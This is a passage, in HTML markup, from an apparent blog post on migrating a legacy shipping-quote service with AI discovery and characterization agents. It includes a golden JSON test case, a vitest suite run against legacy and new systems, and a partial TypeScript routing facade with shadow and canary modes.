  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Line&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;240&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;adds&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;1.50&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;EUR&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;for&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;postcodes&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;starting&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;with&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;9&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;in&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;December.&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Business&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;rule&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;or&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;leftover?"&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Is&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;fetchSurcharge&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;billed&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;or&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;rate-limited&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;per&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;call?&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Does&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;the&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;carrier&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;record&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;quotes?"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is where the opening scene gets resolved. The second entry point, the batch job, is the dependency a prose summary tends to drop. A deterministic call graph tool can confirm that both callers exist, and an engineer can sample a handful of rules against the code. Each rule stays &lt;code&gt;unconfirmed&lt;/code&gt; until someone with evidence says otherwise.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;open_questions&lt;/code&gt; list matters as much as the rules. A good discovery agent is useful precisely because it surfaces the strange things, like a December surcharge for one postcode range, instead of quietly deciding what they mean.&lt;/p&gt;

&lt;p&gt;The second question is about safety, not business rules. &lt;strong&gt;No database writes is not the same as no side effects.&lt;/strong&gt; If the carrier bills per call, rate-limits you or records every quote, running old and new in parallel doubles that effect. Shadowing is safe only once every external call in the path has been checked, and that check needs someone who knows the carrier contract, not just the code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: characterization tests against the legacy system
&lt;/h3&gt;

&lt;p&gt;Next, the characterization agent turns the map into golden cases: inputs that exercise each rule, plus the output the agent &lt;strong&gt;predicts&lt;/strong&gt; from its reading of the code. Cases taken from the traffic sample add real inputs, with the outputs the legacy system actually returned.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"free-shipping-threshold-is-inclusive-after-tax"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"request"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"weightKg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2.4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"destination"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PT"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"orderTotalCents"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"customerTier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"standard"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"expected"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"body"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"amountCents"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"currency"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"EUR"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"rules"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"R1"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"evidence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"ShippingCalculator.java:212"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"traffic-sample-2026-10-07"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same suite runs against both systems, switching only the target URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;it&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;expect&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;vitest&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;cases&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./golden/shipping-quote.cases.json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TARGET_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TARGET_URL&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://localhost:8080&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;shipping quote characterization&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;it&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;each&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cases&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;$id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;expected&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;TARGET_URL&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/api/shipping/quote`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;content-type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toBe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;expected&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;toEqual&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;expected&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The rule for accepting this suite is strict: &lt;strong&gt;it must pass 100% against the unchanged legacy system&lt;/strong&gt;. A failing predicted case means the agent misread the old behavior, and that's a bug in its understanding, not in the monolith. Fix the case and the capability map together, so the misreading doesn't survive in the documentation. Running a mutation testing tool (PIT for Java, Stryker for JavaScript or .NET) on the legacy calculator then tells you whether the suite actually catches broken rules or just passes.&lt;/p&gt;

&lt;p&gt;This is also where a human makes the first real decision. The December surcharge is either a business rule or a forgotten hack. My recommendation is to &lt;strong&gt;migrate first and change behavior later&lt;/strong&gt;: keep the new service bug-compatible during the migration, and fix the rule in a separate, visible change afterwards. If you mix the two, every difference between old and new becomes ambiguous.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: the facade and the routing modes
&lt;/h3&gt;

&lt;p&gt;With the contract approved and the new service passing the suite in CI, the facade gets four modes per route. This is an illustrative sketch in TypeScript; in production the same logic often lives in an API gateway or a service mesh.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;RouteMode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;legacy&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;shadow&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;canary&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;new&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;RouteConfig&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;RouteMode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;canaryPercent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;ShadowJob&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;correlationId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;legacyStatus&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;legacyBody&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;ShadowQueue&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nf"&gt;enqueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;job&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ShadowJob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AbortSignal&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;LEGACY_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;LEGACY_URL&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://legacy:8080&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;NEW_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SHIPPING_SERVICE_URL&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://shipping:8080&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// Above the carrier's 3s timeout plus processing, below the 5s the checkout allows for a quote&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;UPSTREAM_TIMEOUT_MS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// The most latency the shadow path may ever add to a customer request&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ENQUEUE_TIMEOUT_MS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;routeShippingQuote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;RouteConfig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;shadowQueue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ShadowQueue&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;correlationId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randomUUID&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;new&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;forward&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;NEW_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;correlationId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;canary&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;canaryPercent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;forward&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;NEW_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;correlationId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;legacyResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;forward&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;LEGACY_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;correlationId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;shadow&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;legacyResponse&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;legacyBody&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;legacyResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;job&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;correlationId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;legacyStatus&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;legacyResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;legacyBody&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="c1"&gt;// A slow or failing queue is logged and skipped: the shadow path must never affect the customer&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;enqueueWithin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;shadowQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;job&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ENQUEUE_TIMEOUT_MS&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;recordShadowError&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
